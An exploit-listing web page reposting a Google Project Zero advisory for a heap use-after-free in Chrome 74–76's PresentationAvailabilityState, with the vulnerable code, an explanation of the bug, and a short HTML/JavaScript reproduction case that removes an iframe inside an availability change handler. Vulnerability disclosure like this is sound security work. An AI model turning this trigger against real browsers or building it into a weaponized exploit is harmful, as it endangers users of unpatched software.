Advertisement






Google Chrome 74.0.3729.0 / 76.0.3789.0 Heap Use-After-Free in blink::PresentationAvailabilityState:

CVE Category Price Severity
CVE-2019-5799 CWE-416 $50,000 High
Author Risk Exploitation Type Date
Anonymous Critical Remote 2019-08-09
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019080024

Below is a copy:

Google Chrome 74.0.3729.0 / 76.0.3789.0 Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability
<!--
VULNERABILITY DETAILS
void PresentationAvailabilityState::UpdateAvailability(
    const KURL& url,
    mojom::blink::ScreenAvailability availability) {
[...]
  {
    // Set |iterating_listeners_| so we know not to allow modifications
    // to |availability_listeners_|.
    base::AutoReset<bool> iterating(&iterating_listeners_, true);
    for (auto& listener_ref : availability_listeners_) {
      auto* listener = listener_ref.get();
      if (!listener->urls.Contains<KURL>(url))
        continue;

      auto screen_availability = GetScreenAvailability(listener->urls);
      DCHECK(screen_availability != mojom::blink::ScreenAvailability::UNKNOWN);
      for (auto* observer : listener->availability_observers)
        observer->AvailabilityChanged(screen_availability); // ***1***
[...]

`PresentationAvailabilityObserver::AvailabilityChanged` might call a user-defined JS event handler,
which in turn might modify `availability_observers` and invalidate the `for` loop's iterator.

VERSION
Chromium 74.0.3729.0 (Developer Build) (64-bit)
Chromium 76.0.3789.0 (Developer Build) (64-bit)

REPRODUCTION CASE
Note that you need an extra display connected to your machine to reproduce the bug, otherwise
`UpdateAvailability` won't be called.
-->

<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
request = new frame.contentWindow.PresentationRequest([location]);
request.getAvailability().then(availability => {
  availability.onchange = () => frame.remove();
});
</script>
</body>

<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero.
-->

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.